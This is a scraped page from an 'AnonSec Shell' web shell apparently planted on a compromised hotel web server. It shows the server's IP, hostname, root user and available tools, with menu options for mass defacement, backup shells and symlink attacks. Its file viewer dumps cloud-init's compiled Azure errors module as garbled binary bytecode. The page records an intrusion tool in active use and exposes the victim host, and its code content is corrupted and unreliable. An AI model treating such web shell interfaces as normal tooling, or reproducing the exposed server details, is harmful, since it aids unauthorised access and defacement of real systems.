AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/azure/__pycache__/errors.cpython-310.pyc
o

x[h��	@s�ddlZddlZddlZddlZddlmZmZddlmZddlm	Z	m
Z
mZmZm
Z
ddlmZddlZddlmZmZddlmZddlmZe�e�Z	
d+deeded
edefdd�ZGdd�de�ZGdd�de�Z Gdd�de�Z!Gdd�de�Z"Gdd�de�Z#Gdd�de�Z$Gdd�de�Z%Gdd �d e�Z&Gd!d"�d"e�Z'Gd#d$�d$e�Z(Gd%d&�d&e�Z)Gd'd(�d(e�Z*Gd)d*�d*e�Z+dS),�N)�datetime�timezone)�StringIO)�Any�Dict�List�Optional�Tuple)�ElementTree)�subp�version)�identity)�UrlError�|�'�data�	delimiter�	quotechar�returncCsPt��}tj|||tjd��|�|����Wd�S1s!wYdS)zEncode report data with csv.)rr�quotingN)r�csv�writer�
QUOTE_MINIMAL�writerow�getvalue�rstrip)rrr�io�r�@/usr/lib/python3/dist-packages/cloudinit/sources/azure/errors.py�
encode_reports�
$�rc@s^eZdZdd�dedeeeefddfdd�Zdefdd	�Zde	fd
d�Z
defdd
�ZdS)�ReportableErrorN)�supporting_data�reasonr!rc
Cs�dt����|_d|_||_|r||_ni|_t�tj	�|_
zt��|_
WdSty?}z
d|��|_
WYd}~dSd}~ww)NzCloud-Init/z%https://aka.ms/linuxprovisioningerrorzfailed to read vm id: )r�version_string�agent�documentation_urlr"r!r�nowr�utc�	timestampr
�query_vm_id�vm_id�	Exception)�selfr"r!�id_errorrrr�__init__(s��zReportableError.__init__cCsddd|j��d|j��g}|dd�|j��D�7}|d|j��d|j����d|j��g7}t|�S)	Nzresult=errorzreason=zagent=cSsg|]\}}|�d|���qS)�=r)�.0�k�vrrr�
<listcomp>Fsz5ReportableError.as_encoded_report.<locals>.<listcomp>zvm_id=z
timestamp=zdocumentation_url=)	r"r$r!�itemsr*r(�	isoformatr%r)r,rrrr�as_encoded_report>s

�

�z!ReportableError.as_encoded_reportcCs.t|t�o|j|jko|j|jko|j|jkS)N)�
isinstancer r(r"r!)r,�otherrrr�__eq__Os

�
�
�zReportableError.__eq__cCs&|jj�d|j�d|j�d|j�d�S)Nz(reason=z, timestamp=z, supporting_data=�))�	__class__�__name__r"r(r!�r,rrr�__repr__Ws
����zReportableError.__repr__)r<�
__module__�__qualname__�strrrrr.r6�boolr9r>rrrrr 's���
�
�r c�&eZdZdeddf�fdd�Z�ZS)�$ReportableErrorDhcpInterfaceNotFound�durationrNcst��d�||jd<dS)Nzfailure to find DHCP interfacerE��superr.r!)r,rE�r;rrr.asz-ReportableErrorDhcpInterfaceNotFound.__init__)r<r?r@�floatr.�
__classcell__rrrHrrD`�rDcs.eZdZdedeeddf�fdd�Z�ZS)�ReportableErrorDhcpLeaserE�	interfacerNcs$t��d�||jd<||jd<dS)Nzfailure to obtain DHCP leaserErMrF)r,rErMrHrrr.hs
z!ReportableErrorDhcpLease.__init__)r<r?r@rIrrAr.rJrrrHrrLgs&rLcsZeZdZdeedeedeedeeeeefdeeefddf�fdd	�Z	�Z
S)
�(ReportableErrorDhcpOnNonPrimaryInterfacerM�driver�router�
static_routes�leaserNcsBt��d�||jd<||jd<||jd<||jd<||jd<dS)Nz&failure to find primary DHCP interfacerMrOrPrQrRrF)r,rMrOrPrQrRrHrrr.ps	



z1ReportableErrorDhcpOnNonPrimaryInterface.__init__)r<r?r@rrArr	rrr.rJrrrHrrNos����
��rNc�*eZdZdededdf�fdd�Z�ZS)�ReportableErrorImdsUrlError�	exceptionrErNcs�t|jtj�r
d}n!t|jtj�rd}nt|jtj�rd}n
|jr)d|j�d�}nd}t��|�|jr:|j|j	d<||j	d<t
|�|j	d	<|j|j	d
<dS)Nz connection timeout querying IMDSzconnection error querying IMDSzread timeout querying IMDSzhttp error z querying IMDSzunexpected error querying IMDS�	http_coderErU�url)r7�cause�requests�ConnectTimeout�ConnectionError�ReadTimeout�coderGr.r!�reprrW)r,rUrEr"rHrrr.�s
z$ReportableErrorImdsUrlError.__init__)r<r?r@rrIr.rJrrrHrrT��"rTcrS)�"ReportableErrorImdsInvalidMetadata�key�valuerNcs.t��d|���||jd<t|�|jd<dS)Nzinvalid IMDS metadata for key=rarb)rGr.r!r^)r,rarbrHrrr.�s
z+ReportableErrorImdsInvalidMetadata.__init__)r<r?r@rArr.rJrrrHrr`�r_r`crC)�+ReportableErrorImdsMetadataParsingExceptionrUrNcst��d�t|�|jd<dS)Nzerror parsing IMDS metadatarU)rGr.r^r!�r,rUrHrrr.�sz4ReportableErrorImdsMetadataParsingException.__init__)r<r?r@�
ValueErrorr.rJrrrHrrc�rKrcc�eZdZd�fdd�Z�ZS)�ReportableErrorOsDiskPpsFailurerNc�t��d�dS)Nzerror waiting for host shutdown�rGr.r=rHrrr.��z(ReportableErrorOsDiskPpsFailure.__init__�rN�r<r?r@r.rJrrrHrrg��rgcrC)�!ReportableErrorOvfInvalidMetadata�messagerNcst��d|���dS)Nz)unexpected metadata parsing ovf-env.xml: ri)r,rorHrrr.�sz*ReportableErrorOvfInvalidMetadata.__init__)r<r?r@rAr.rJrrrHrrn�rKrnc�(eZdZdejddf�fdd�Z�ZS)�"ReportableErrorOvfParsingExceptionrUrNcs|j}t��d|���dS)Nzerror parsing ovf-env.xml: )�msgrGr.)r,rUrorHrrr.�sz+ReportableErrorOvfParsingException.__init__)r<r?r@�ET�
ParseErrorr.rJrrrHrrq�� rqcrC)�!ReportableErrorUnhandledExceptionrUrNcsXt��d�d�t�t|�||j��}t�|�	d���
d�}t|�|jd<||jd<dS)Nzunhandled exception�zutf-8rU�traceback_base64)
rGr.�join�	traceback�format_exception�type�
__traceback__�base64�	b64encode�encode�decoder^r!)r,rU�trace�trace_base64rHrrr.�s��z*ReportableErrorUnhandledException.__init__)r<r?r@r+r.rJrrrHrrv�rKrvcrf)�!ReportableErrorProxyAgentNotFoundrNcrh)Nzazure-proxy-agent not foundrir=rHrrr.�rjz*ReportableErrorProxyAgentNotFound.__init__rkrlrrrHrr��rmr�crp)�&ReportableErrorProxyAgentStatusFailurerUrNcs4t��d�|j|jd<|j|jd<|j|jd<dS)Nz azure-proxy-agent status failure�	exit_code�stdout�stderr)rGr.r�r!r�r�rdrHrrr.�sz/ReportableErrorProxyAgentStatusFailure.__init__)r<r?r@r�ProcessExecutionErrorr.rJrrrHrr��rur�)rr),r~r�loggingrzrrrr�typingrrrrr	�	xml.etreer
rsrY�	cloudinitrr�cloudinit.sources.azurer
�cloudinit.url_helperr�	getLoggerr<�LOGrArr+r rDrLrNrTr`rcrgrnrqrvr�r�rrrr�<module>sH
����
�9

Anon7 - 2022
AnonSec Team